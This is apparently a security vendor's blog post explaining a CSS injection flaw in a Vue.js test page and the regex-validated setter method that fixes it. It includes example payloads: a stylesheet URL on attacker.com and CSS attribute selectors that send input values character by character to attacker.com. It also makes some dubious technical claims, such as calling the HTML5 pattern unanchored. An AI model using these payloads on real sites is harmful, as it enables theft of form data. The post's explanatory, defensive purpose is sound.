Back to Blog
critical SEVERITY5 min read

How CSS Injection via Weak Pattern Validation happens in Vue.js and how to fix it

A critical CSS injection vulnerability in `testpage/App.vue` allowed attackers to bypass weak HTML5 pattern validation and load malicious stylesheets. The fix replaces direct variable assignment with a hardened `setCustomStylesheetHref()` method using strict regex validation.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published September 9, 2026•Reviewed September 9, 2026

Answer Summary

This is a CSS injection vulnerability (CWE-73) in a Vue.js test page component. The `testpage/App.vue` file used weak HTML5 pattern validation (`pattern="https://.*.css"`) that could be bypassed to inject attacker-controlled stylesheets via the `customStylesheetHref` variable bound to a `<link>` element's `:href`. The fix replaces the inline `@click="customStylesheetHref = editCustomStylesheetHref"` assignment with a dedicated `setCustomStylesheetHref()` method that applies strict server-side-style regex validation (`/^https:\/\/[\w.-]+(?:\/[\w.\-\/%]*)*\.css$/i`) before updating the reactive property.

Vulnerability at a Glance

cweCWE-73 (External Control of File Name or Path)
fixReplaced inline assignment with validated setter method using strict anchored regex
riskAttackers could load malicious stylesheets to exfiltrate data via CSS selectors, deface UI, or chain with other vulnerabilities
languageVue.js / JavaScript
root causeWeak HTML5 pattern attribute bypassable by newline injection and other techniques; direct assignment of tainted input to href binding
vulnerabilityCSS Injection / External Resource Injection

Introduction

In a Tauri-based application's test page, we discovered a critical external resource injection vulnerability in testpage/App.vue that could have allowed attackers to load malicious stylesheets into users' browsers. The issue centered on line 30's input field for custom stylesheets, which relied solely on a weak HTML5 pattern attribute for validation—client-side protection that sophisticated attackers routinely bypass.

The vulnerable code allowed direct assignment of user input to a reactive property bound to a <link> element's :href, creating a clear path for CSS injection. While this might seem like a minor UI customization feature, CSS injection can enable data exfiltration, sensitive information harvesting via CSS selectors, and serve as a building block for more complex attacks.

The Vulnerability Explained

The Problematic Code Pattern

The original code on line 31 of testpage/App.vue contained this dangerous pattern:

input#url.input(inputmode="url" type="url" v-model="editCustomStylesheetHref" 
  placeholder="https://example.com/styles.min.css" 
  pattern="https://.*.css" size="30")
button(type="button" @click="customStylesheetHref = editCustomStylesheetHref") Insert

Two critical flaws made this exploitable:

  1. Weak pattern validation: The regex https://.*.css is anchored neither at start nor end, allowing injection like https://evil.com/malicious?x=.css\nhttps://victim.com/styles.css

  2. Direct assignment to bound property: The @click handler immediately assigned tainted input to customStylesheetHref, which was bound via :href to a <link rel="stylesheet"> element

How the Attack Works

An attacker could exploit this by:

  1. Entering a URL like https://attacker.com/exfil.css?data=
  2. The pattern attribute might pass validation due to its weak anchoring
  3. Clicking "Insert" immediately loads the stylesheet in the victim's browser context
  4. The malicious CSS can use selectors to exfiltrate data:
    css input[value^="a"] { background: url(https://attacker.com/?a); } input[value^="b"] { background: url(https://attacker.com/?b); } /* ... character-by-character token extraction */

Since this is a Tauri application, injected CSS could potentially interact with native APIs through CSS-injected JavaScript (in older browsers) or combine with other Tauri-specific vulnerabilities for privilege escalation.

The Fix

The security patch introduces a dedicated validation method that replaces the dangerous inline assignment:

Before (Vulnerable)

button(type="button" @click="customStylesheetHref = editCustomStylesheetHref") Insert

After (Hardened)

button(type="button" @click="setCustomStylesheetHref") Insert
methods: {
  setCustomStylesheetHref() {
    if (/^https:\/\/[\w.-]+(?:\/[\w.\-\/%]*)*\.css$/i.test(this.editCustomStylesheetHref)) {
      this.customStylesheetHref = this.editCustomStylesheetHref
    }
  },
  // ...
}

Why This Fix Works

Aspect Before After
Validation HTML5 pattern attribute (client-side, bypassable) JavaScript regex in method (enforced)
Anchoring Unanchored .* Strict ^...$ anchors
Domain validation None [\w.-]+ restricts valid hostname characters
Path validation None Explicit [\w.\-\/%]* whitelist
Assignment Direct, unconditional Conditional on validation success

The new regex ^https:\/\/[\w.-]+(?:\/[\w.\-\/%]*)*\.css$ provides defense in depth:
- ^ and $ anchors prevent prefix/suffix injection
- [\w.-]+ ensures valid hostname characters only
- The path component explicitly whitelists safe characters
- The .css extension is enforced at the true end of string

Key Takeaways

  • HTML5 pattern attributes provide zero security—they're bypassable via newline injection, DOM manipulation, or direct API calls. Always implement validation in executable code.

  • The testpage/App.vue:30 input field previously allowed direct assignment to customStylesheetHref without server-equivalent validation, violating the principle that client-side controls must be duplicated server-side (or in this case, in application logic).

  • The setCustomStylesheetHref() method now enforces strict hostname and path character restrictions before updating the reactive property, eliminating the bypass vector.

  • Vue.js's reactivity system makes it easy to accidentally bind tainted input directly to dangerous attributes—always interpose validation methods between user input and security-sensitive bindings.

  • This vulnerability demonstrates exploit primitives: Even "test pages" in applications can expose dangerous functionality that automated attack tools can chain into full exploits.

How Orbis AppSec Detected This

Source: User input via v-model="editCustomStylesheetHref" in the stylesheet URL input field at testpage/App.vue:30

Sink: Dynamic :href binding to <link> element loading external stylesheets

Missing control: Server-side-equivalent validation of URL structure; reliance on bypassable HTML5 pattern attribute; direct assignment of tainted value to security-sensitive property

CWE: CWE-73 (External Control of File Name or Path)

Fix: Introduced setCustomStylesheetHref() method with strict anchored regex validation before updating customStylesheetHref

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability in testpage/App.vue illustrates a common but dangerous pattern: trusting client-side validation for security-critical decisions. The weak pattern="https://.*.css" attribute created a false sense of security while the direct assignment @click="customStylesheetHref = editCustomStylesheetHref" provided an open door for attackers.

The fix demonstrates proper defense-in-depth: keep user input in a separate model property, validate with strict server-equivalent regex in a dedicated method, and only then update the bound property. For Tauri and similar hybrid applications, this pattern is essential—the bridge between web content and native capabilities makes injection vulnerabilities particularly dangerous.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #27

Related Articles

high

CVE-2026-4800: lodash Template Imports Allow Code Execution

CVE-2026-4800 affects lodash's `_.template()` templating API, where untrusted input reaching the `imports` option can lead to arbitrary code execution. The fix was shipped as a dependency upgrade from lodash 4.17.21 to 4.18.1 in the project's lockfile, though the PR itself notes it was never verified against the actual code paths in this repository.

critical

proxy-addr 2.0.7 IP Spoofing: CVE-2026-90711 Trust Bypass

A critical vulnerability in proxy-addr 2.0.7 allowed attackers to spoof client IP addresses by manipulating X-Forwarded-For headers when the trust chain evaluation contained specific misconfigurations. The fix in version 2.0.8 hardens the trust evaluation logic to prevent IP address falsification in Express.js applications relying on this common middleware dependency.

high

TweenMax `_applyCycle` Prototype Pollution via vars.cycle Keys

A bundled copy of the TweenMax animation library copied attacker-influenceable `vars.cycle` property names straight onto a tween configuration object using an unguarded `for...in` loop, so a key named `__proto__`, `constructor`, or `prototype` was written through to the object's prototype chain. The fix adds an explicit key denylist to both copies of the `_applyCycle` helper so those three names are skipped during the merge. No CVE or GHSA is assigned; the issue is tracked as CWE-1321 (Improperl

high

picomatch 2.3.1 ReDoS: Extglob Pattern Catastrophic Backtracking

picomatch versions below 2.3.2, 3.0.2, or 4.0.4 contain a Regular Expression Denial of Service vulnerability in extglob pattern parsing. An attacker can cause catastrophic backtracking with patterns containing nested alternations and quantifiers, freezing any Node.js process that evaluates untrusted glob expressions.

critical

pet-window.js Dynamic Code Evaluation: CWE-94 Hardening via Number

The pet-window module constructed dynamic JavaScript by embedding raw configuration values into code strings. An attacker with local access could inject arbitrary JavaScript by modifying stored configuration. The fix replaces string interpolation with explicit Number() coercion and NaN validation for all numeric configuration parameters.

high

sanitizeUnicodeInput(): Fullwidth U+ Bypasses Codepoint Validation

The `sanitizeUnicodeInput()` helper used by the project character-range settings screen rewrote `U+` prefixes to `0x` and called `parseInt()`, but never normalized its argument first. Compatibility-equivalent forms such as fullwidth `U+`, superscript digits, or mathematical alphanumerics never matched the `/U\+/gi` regex, fell through to the `else return inputString` branch, and were handed back to callers verbatim as "sanitized" values. The fix inserts a `String.prototype.normalize('NFKC')` pas